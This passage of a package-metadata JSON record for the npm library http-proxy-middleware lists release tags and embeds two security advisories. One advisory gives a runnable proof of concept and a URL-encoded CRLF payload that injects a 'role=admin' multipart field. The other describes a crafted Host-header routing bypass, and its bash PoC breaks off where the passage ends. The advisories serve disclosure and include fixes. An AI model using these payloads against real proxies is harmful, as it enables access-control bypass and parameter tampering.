tps://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.4/manifests"},{"name":"v0.17.3","sha":"8689cb429577a7722b9334e702535cb752191c43","kind":"commit","published_at":"2016-12-07T21:17:30.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.3/manifests"},{"name":"v0.17.2","sha":"f03aecf755a0a645a83646131548754638b2e994","kind":"commit","published_at":"2016-09-28T22:24:52.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.2/manifests"},{"name":"v0.17.1","sha":"8a0ff1f0da2496b517ba02ccb30b1a9a17926dc7","kind":"commit","published_at":"2016-08-11T21:25:59.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"306fdd4162af41a5ced5ba17be80cbb861204f5f","kind":"commit","published_at":"2016-07-03T15:29:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.17.0/manifests"},{"name":"v0.16.0","sha":"09926cdd29573e2966993a743d8b68e415f9c6b5","kind":"commit","published_at":"2016-06-13T18:48:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.16.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.16.0/manifests"},{"name":"v0.15.2","sha":"679526ef1f3a61e4b68c26d9f644195e93727b72","kind":"commit","published_at":"2016-05-29T12:50:53.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.15.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"9e542faa39fd9e8caa9785088fb99511b24f41f3","kind":"commit","published_at":"2016-05-26T22:01:15.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.15.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"b33b96978506ce00b7833f94514523a696e6cb13","kind":"commit","published_at":"2016-05-03T20:56:13.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.15.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"28f17062174987e80bdb3ff60478d746a17cb43f","kind":"commit","published_at":"2016-04-18T20:37:21.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.14.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.14.0/manifests"},{"name":"v0.13.0","sha":"6606489c35a06ded05694d33a15cf02917ca1173","kind":"commit","published_at":"2016-03-23T20:19:44.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.13.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"951d9bf3fe81d83935bdcb8dfb51643a2775f251","kind":"commit","published_at":"2016-03-13T17:47:42.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.12.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"1f21feda49e57806d82be94ba3f3e46a70e7f868","kind":"commit","published_at":"2016-02-24T19:56:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.11.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"5bed3c630c00c0d301fcdda4e4ea20ab31a95bfd","kind":"commit","published_at":"2016-02-05T19:16:37.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.10.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0/manifests"},{"name":"v0.10.0-beta","sha":"8ce646fe7c7736e9d90bc5d02682bc3fcc649da1","kind":"commit","published_at":"2016-01-26T21:28:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.10.0-beta","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.10.0-beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.10.0-beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0-beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.10.0-beta/manifests"},{"name":"v0.9.1","sha":"fe24b979cf7a55b757092203a5c7832233ff67ea","kind":"commit","published_at":"2016-01-18T21:43:17.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.9.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"57094e506e92bd7a3f5e6cf94dbbad7632cdfcad","kind":"commit","published_at":"2015-09-28T22:01:31.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.9.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.9.0/manifests"},{"name":"v0.8.2","sha":"5f343b95eac318156e4475d80ec9b9c56437c273","kind":"commit","published_at":"2015-09-23T18:43:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.8.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"13f949160afd7ef754d5a27af9514d76099817f7","kind":"commit","published_at":"2015-09-09T16:02:50.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.8.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"f1559c909f0ed3239a970c73f15755d65de86a53","kind":"commit","published_at":"2015-08-31T10:46:07.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.8.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.8.0/manifests"},{"name":"v0.7.0","sha":"75a062515001910ce803b1147ee8310a102c82b8","kind":"commit","published_at":"2015-08-23T20:52:35.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.7.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"bb473ad7c20de225fdaed6a7e74e29f3f948fce6","kind":"commit","published_at":"2015-08-18T11:40:35.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.6.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.6.0/manifests"},{"name":"v0.5.0","sha":"a025f336746df150c58f2851595b8073b3f96e42","kind":"commit","published_at":"2015-08-07T18:29:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.5.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.5.0/manifests"},{"name":"v0.4.0","sha":"b10d7301fcde3be94b8fe4708ec1e0ad17b0bf4a","kind":"commit","published_at":"2015-07-28T21:21:11.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.4.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.4.0/manifests"},{"name":"v0.3.2","sha":"e6ef751eb707e2898bed65e23e88fa570123e87c","kind":"commit","published_at":"2015-07-25T12:59:05.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.3.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"bcb949b051fa46810fcce7defb8d0f927214db62","kind":"commit","published_at":"2015-07-24T15:52:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.3.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"b596677e0fe4b6c4d974a21949c5e1361b4cbb33","kind":"commit","published_at":"2015-07-19T11:07:26.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.3.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"afd3536ba67185b3f082c7a4bdb7cfa7534b7403","kind":"commit","published_at":"2015-07-13T09:28:23.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.2.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"abcf4a81366dde1d8fa0057c519d79765c54ef46","kind":"commit","published_at":"2015-07-09T03:43:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.1.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.1.0/manifests"},{"name":"v0.0.5","sha":"9a16ea7ed310db2a2c40a4a8f4bdc136c02f502d","kind":"commit","published_at":"2015-03-31T12:37:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.0.5/manifests"}]},"repo_metadata_updated_at":"2026-10-17T19:15:46.219Z","dependent_packages_count":8072,"downloads":118498797,"downloads_period":"last-month","dependent_repos_count":2978280,"rankings":{"downloads":0.028776198387656732,"dependent_repos_count":0.005941422502494302,"dependent_packages_count":0.011882845004988605,"stargazers_count":1.018474812201765,"forks_count":1.3129174739152385,"docker_downloads_count":0.04273991025987837,"average":0.40345544371200365},"purl":"pkg:npm/http-proxy-middleware","advisories":[{"uuid":"GSA_kwCzR0hTQS1nY3EyLTlwcTItY3hxbc4ABZE2","url":"https://github.com/advisories/GHSA-gcq2-9pq2-cxqm","title":"http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`","description":"## Summary\n`fixRequestBody()` is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**:\n\n```js\n// dist/handlers/fix-request-body.js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n  let str = '';\n  for (const [key, value] of Object.entries(data)) {\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key}\"\\r\\n\\r\\n${value}\\r\\n`;\n  }\n}\n```\n\nA `\\r\\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.\n\nBy contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping.\n\n## Preconditions \nAll three must hold; this narrows real-world exposure and is the basis for `AC:H`:\n1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input.\n2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.\n3. The app calls `fixRequestBody` (the documented pattern for \"I body-parsed, now re-stream\"), and an attacker controls at least one body field value or key.\n\n\u003e Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser.\n\n## Impact\nWhen the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:\n- **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin).\n- **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices).\n- **File-part injection** inject a `filename=\"...\"` part into the upstream multipart stream.\n\n## Proof of Concept\n\n```js\n// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)\nimport { fixRequestBody } from 'http-proxy-middleware';\n\n// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.\n// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:\nconst req = { readableLength: 0, body: {\n  user: 'alice\\r\\n--BB\\r\\nContent-Disposition: form-data; name=\"role\"\\r\\n\\r\\nadmin\\r\\n--BB--'\n}};\n\n// Minimal stand-in for the outgoing proxy request; capture what gets written.\nconst out = [];\nconst proxyReq = {\n  h: { 'content-type': 'multipart/form-data; boundary=BB' },\n  getHeader(n){ return this.h[n.toLowerCase()]; },\n  setHeader(n,v){ this.h[n.toLowerCase()] = v; },\n  write(d){ out.push(Buffer.from(d)); },\n};\n\nfixRequestBody(proxyReq, req);          // library rebuilds the multipart body\nconsole.log(Buffer.concat(out).toString());\n```\n\nOutput: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF:\n\n```\n--BB\nContent-Disposition: form-data; name=\"user\"\n\nalice\n--BB\nContent-Disposition: form-data; name=\"role\"     \u003c-- injected part; never present in req.body's keys\nadmin\n--BB--\n```\n\n`req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend's multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name=\"role\"%0D%0A%0D%0Aadmin%0D%0A--BB--`\n\n## Remediation\nNeutralize CR/LF (and `\"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix:\n\n```js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n  const bad = /[\\r\\n]/;\n  let str = '';\n  for (const [key, value] of Object.entries(data)) {\n    const v = String(value);\n    if (bad.test(key) || bad.test(v)) {\n      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');\n    }\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key.replace(/\"/g, '%22')}\"\\r\\n\\r\\n${v}\\r\\n`;\n  }\n}\n```\n(Reject is preferable to silent stripping, to avoid masking malicious input.)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-18T13:06:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","references":["https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm","https://github.com/advisories/GHSA-gcq2-9pq2-cxqm"],"source_kind":"github","identifiers":["GHSA-gcq2-9pq2-cxqm","CVE-2026-55603"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-18T14:00:08.787Z","updated_at":"2026-10-14T10:03:45.777Z","epss_percentage":0.00286,"epss_percentile":0.1953,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nY3EyLTlwcTItY3hxbc4ABZE2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nY3EyLTlwcTItY3hxbc4ABZE2","packages":[{"ecosystem":"npm","package_name":"http-proxy-middleware","versions":[{"first_patched_version":"4.1.1","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.1.1"},{"first_patched_version":"3.0.7","vulnerable_version_range":"\u003e= 3.0.4, \u003c 3.0.7"}],"purl":"pkg:npm/http-proxy-middleware"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nY3EyLTlwcTItY3hxbc4ABZE2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02NG1tLXZ4bWctcTN2as4ABZE1","url":"https://github.com/advisories/GHSA-64mm-vxmg-q3vj","title":"http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass","description":"# Summary\n\n`http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.\n\n# Details\n\nTested code state:\n\n- validated on tag `v4.0.0-beta.5`\n- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`\n\nRelevant code locations:\n\n- `src/router.ts`\n- `src/http-proxy-middleware.ts`\n\nAffected public API:\n\n- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`\n\nCode explanation:\n\nWhen a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if:\n\n```ts\nhostAndPath.indexOf(key) \u003e -1\n```\n\nThat is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:\n\n```txt\nlocalhost:3000/api\n```\n\nbut the attacker-controlled host is:\n\n```txt\nevillocalhost:3000\n```\n\nand the request path is:\n\n```txt\n/api\n```\n\nThe concatenated attacker-controlled string:\n\n```txt\nevillocalhost:3000/api\n```\n\nstill contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.\n\nExploit path:\n\n1. the application enables the documented proxy-table `router` feature with at least one host+path rule\n2. an external attacker sends an ordinary HTTP request with a crafted `Host` header\n3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying\n4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching\n5. the request is proxied to the wrong backend\n\n## PoC\n\nCreate these files in the same working directory and run:\n\n```bash\nbash ./run.sh\n```\n\n### File: `run.sh`\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" \u0026\u0026 pwd)\"\nREPO_URL=\"https://github.com/chimurai/http-proxy-middleware.git\"\nREPO_REF=\"v4.0.0-beta.5\"\nWORKDIR=\"$(mktemp -d 